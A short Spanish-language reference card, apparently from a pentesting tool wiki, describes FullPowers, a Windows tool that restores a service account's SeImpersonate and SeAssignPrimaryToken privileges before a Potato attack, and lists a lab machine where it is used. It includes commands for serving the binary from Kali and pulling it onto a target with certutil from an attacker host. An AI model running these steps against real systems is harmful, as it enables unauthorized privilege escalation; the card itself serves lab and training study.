FullPowers
Recupera los privilegios por defecto (SeImpersonate) de una cuenta de servicio.
Herramienta que devuelve a una cuenta de servicio sus privilegios por defecto (entre ellos SeImpersonate y SeAssignPrimaryToken) cuando el token viene recortado. Suele ser el paso previo a un ataque Potato.
Familia Escalada de privilegios
Flags (sin flags)
Conceptos SeImpersonate and Potato attacks
Cheatsheet Privilegios de token → SYSTEM
Instalación
# Binario ya compilado para Windows (no se instala en Kali): descargar el .exe de la
# ultima release del repo y subirlo al objetivo, p.ej. sirviendolo desde Kali:
python3 -m http.server 80 # en Kali, en la carpeta del binario
certutil -urlcache -f http://<lhost>/FullPowers.exe FullPowers.exe # en el objetivo (o SMB / 'upload' de evil-winrm)Comandos útiles
Aparece en
Algunas máquinas donde se documenta su uso; no es una lista exhaustiva.
- SquidProving Grounds Practice